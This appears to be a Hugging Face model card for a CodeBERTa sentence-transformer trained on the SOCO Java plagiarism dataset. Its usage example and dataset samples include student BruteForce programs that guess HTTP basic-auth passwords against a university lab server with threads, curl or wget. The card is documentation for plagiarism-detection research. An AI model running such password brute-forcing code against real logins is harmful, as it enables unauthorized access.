SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: huggingface/CodeBERTa-small-v1
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
'\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n String userPassword = ":"+pwd;\n RealThread myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n th.start();\n try\n {\n \n \n th.sleep(100);\n }\n catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty ("Authorization", " " + encoding);\n System.out.println("Reponse = "+uc.getResponseCode()+"for pwd = "+userPassword);\n this.responseCode = uc.getResponseCode();\n \n if(uc.getResponseCode()==200)\n {\n System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println("Could not execute Thread "+num+" ");\n }\n }\n\n}\n',
'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
'\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr = t.exec("md5sum csfirst.html");\n\n InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n BufferedReader bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\t\t index = s.indexOf(\' \');\n\t\t Fmd5 = s.substring(0,index);\n\t\t System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t pr = null;\n\t\t \n\t\t pr = t.exec("md5sum index.html");\n\t\t \n\n\t\t InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\t\t index = temp1.indexOf(\' \');\n\t\t Smd5 = temp1.substring(0,index);\n\t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5 == Smd5)\n\t\t System.out.println(" changes Detected");\n\t\t else\n\t\t {\n\t\t pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
soco_java
- Dataset: soco_java at c8fab14
- Size: 30,069 training samples
- Columns:
label
,text_1
, andtext_2
- Approximate statistics based on the first 1000 samples:
label text_1 text_2 type int string string details - 0: ~99.70%
- 1: ~0.30%
- min: 51 tokens
- mean: 450.65 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 468.5 tokens
- max: 512 tokens
- Samples:
label text_1 text_2 0
import java.io.;
import java.net.;
import java.Runtime;
import java.util.*;
import java.net.smtp.SmtpClient;
public class WatchDog
{
static String strImageOutputFile01 = "WebPageImages01.txt";
static String strImageOutputFile02 = "WebPageImages02.txt";
static String strWebPageOutputFile01 = "WebPageOutput01.txt";
static String strWebPageOutputFile02 = "WebPageOutput02.txt";
static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";
static String strFromEmailDefault = "@.rmit.edu.";
static String strToEmailDefault = "@.rmit.edu.";
static String strFromEmail = null;
static String strToEmail = null;
public static void main (String args[])
{
URL url = null;
HttpURLConnection urlConnection;
int intContentLength;
String strWebPageText = "";
String strURL = "http://www.cs.rmit.edu./students/";
String strPrePend = "...import java.io.;
import java.net.;
import java.util.*;
public class Watchdog
{
public static void main(String args[])
{
String mainLink="http://www.cs.rmit.edu./students/";
String sender = "@cs.rmit.edu.";
String recipient = "";
String hostName = "yallara.cs.rmit.edu.";
int delay = 86400000;
try
{
int imgSrcIndex, imgSrcEnd;
String imgLink;
Vector imageList = new Vector();
HttpURLConnection imgConnection;
URL imgURL;
EmailClient email = new EmailClient(sender, recipient, hostName);
URL url=new URL(mainLink);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));
FileWriter fwrite = new FileWriter("local.txt");
BufferedWriter writefile = new BufferedWriter(fwrite);
String line=webpage.readLine();
while (line != null)
{
writefile.write(line,0,line.length());
wri...0
import java.util.;
import java.io.;
import java.;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +""+ hash2);
BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];
executes("./.sh");
int i=0;
while ((line = buf.readLine()) != null)
{
line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmi...0
import java.util.;
import java.text.;
import java.io.;
import java.;
import java.net.*;
public class WatchDog
{
public static void main(String args[])
{
String s = null;
String webpage = "http://www.cs.rmit.edu./students/";
String file1 = "file1";
String file2 = "file2";
try
{
Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null) {
System.out.println(s);
}
while ((s = stdError.readLine()) != null) {
System.out.println(s);
}
try
{
p.waitFor();
}
catch...
import java.io.;
import java.net.;
import java.util.;
import java.String;
import java.Object;
import java.awt.;
public class WatchDog
{
private URL url;
private URLConnection urlcon;
private int lastModifiedSince = 0;
private int lastModified[] = new int[2];
private int count = 0;
public static String oldFile;
public static String newFile;
private String diffFile;
private BufferedWriter bw;
private Process p;
private Runtime r;
private String fileName;
private ArrayList old[]= new ArrayList[500];
private ArrayList news[] = new ArrayList[500];
private String info = "";
private int index = 0;
public WatchDog(String fileName)
{
this.fileName = fileName;
oldFile = fileName + ".old";
newFile = fileName + ".new";
diffFile = "testFile.txt";
}
public static void main(String args[])
{
WatchDog wd = new WatchDog("TestDog");
wd.detectChange(WatchDog.oldFile);
while (true)
{
try
{
Thread.slee... - Loss:
SoftmaxLoss
Evaluation Dataset
soco_java
- Dataset: soco_java at c8fab14
- Size: 3,342 evaluation samples
- Columns:
label
,text_1
, andtext_2
- Approximate statistics based on the first 1000 samples:
label text_1 text_2 type int string string details - 0: ~99.40%
- 1: ~0.60%
- min: 51 tokens
- mean: 443.11 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 467.05 tokens
- max: 512 tokens
- Samples:
label text_1 text_2 0
import java.Runtime;
import java.io.*;
public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");
InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
}
import java.;
import java.io.;
import java.util.*;
public class BruteForce
{
public static void main(String[] args)
{
Runtime rt = Runtime.getRuntime();
Process pr= null;
char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String pass;
char temp[] = {'a','a'};
char temp1[] = {'a','a','a'};
char temp2[] = {'a'};
String f= new String();
String resp = new String();
int count=0;
String success = new String();
InputStreamReader instre;
BufferedReader bufread;
for(int k=0;k<52;k++)
{
temp2[0]=chars[k];
pass = new String(temp2);
count++;
System.out.println("The password tried ...0
import java.io.;
import java.net.;
import java.util.*;
public class Watchdog
{
public static void main(String args[])
{
String mainLink="http://www.cs.rmit.edu./students/";
String sender = "@cs.rmit.edu.";
String recipient = "";
String hostName = "yallara.cs.rmit.edu.";
int delay = 86400000;
try
{
int imgSrcIndex, imgSrcEnd;
String imgLink;
Vector imageList = new Vector();
HttpURLConnection imgConnection;
URL imgURL;
EmailClient email = new EmailClient(sender, recipient, hostName);
URL url=new URL(mainLink);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));
FileWriter fwrite = new FileWriter("local.txt");
BufferedWriter writefile = new BufferedWriter(fwrite);
String line=webpage.readLine();
while (line != null)
{
writefile.write(line,0,line.length());
wri...
import java.net.;
import java.io.;
import java.String;
import java.;
import java.util.;
public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLencharLencharLen;
private String response;
private String[] password = new String[charLencharLencharLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
...0
import java.io.;
import java.awt.;
import java.net.*;
public class BruteForce
{
public static void main (String[] args)
{
String pw = new String();
pw = getPassword ();
System.out.println("Password is: "+pw);
}
public static String getPassword()
{
String passWord = new String();
passWord = "AAA";
char[] guess = passWord.toCharArray();
Process pro = null;
Runtime runtime = Runtime.getRuntime();
BufferedReader in = null;
String str=null;
boolean found = true;
System.out.println(" attacking.....");
for (int i=65;i<=122 ;i++ )
{
guess[0]=(char)(i);
for (int j=65;j<=122 ;j++ )
{
guess[1]=(char)(j);
for (int k=65 ;k<=122 ;k++ )
{
guess[2]=(char)(k);
passWord = new String(guess);
String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";
try
{
pro = runtime.exec(cmd);
in = new BufferedReader(new InputStreamReader(pro.getErrorSt...
import java.io.;
import java.text.;
import java.util.;
import java.net.;
public class BruteForce extends Thread
{
private static final String USERNAME = "";
private static final char [] POSSIBLE_CHAR =
{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private static int NUMBER_OF_THREAD = 500;
private static Date startDate = null;
private static Date endDate = null;
private String address;
private String password;
public BruteForce(String address, String password)
{
this.address = address;
this.password = password;
}
public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println("Invalid usage!");
System.err.println("... - Loss:
SoftmaxLoss
Training Hyperparameters
Non-Default Hyperparameters
eval_strategy
: stepsper_device_train_batch_size
: 16per_device_eval_batch_size
: 16learning_rate
: 2e-05num_train_epochs
: 1warmup_ratio
: 0.1fp16
: True
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: stepsprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 2e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1.0num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.1warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: proportional
Training Logs
Epoch | Step | Training Loss | Validation Loss |
---|---|---|---|
0.0532 | 100 | 0.2015 | 0.0240 |
0.1064 | 200 | 0.0143 | 0.0209 |
0.1596 | 300 | 0.0241 | 0.0241 |
0.2128 | 400 | 0.0174 | 0.0213 |
0.2660 | 500 | 0.0228 | 0.0206 |
0.3191 | 600 | 0.0061 | 0.0226 |
0.3723 | 700 | 0.0194 | 0.0208 |
0.4255 | 800 | 0.0193 | 0.0197 |
0.4787 | 900 | 0.0261 | 0.0175 |
0.5319 | 1000 | 0.0189 | 0.0178 |
0.5851 | 1100 | 0.0089 | 0.0188 |
0.6383 | 1200 | 0.0174 | 0.0161 |
0.6915 | 1300 | 0.0171 | 0.0162 |
0.7447 | 1400 | 0.0149 | 0.0155 |
0.7979 | 1500 | 0.011 | 0.0164 |
0.8511 | 1600 | 0.0308 | 0.0160 |
0.9043 | 1700 | 0.0048 | 0.0167 |
0.9574 | 1800 | 0.0142 | 0.0164 |
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers and SoftmaxLoss
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
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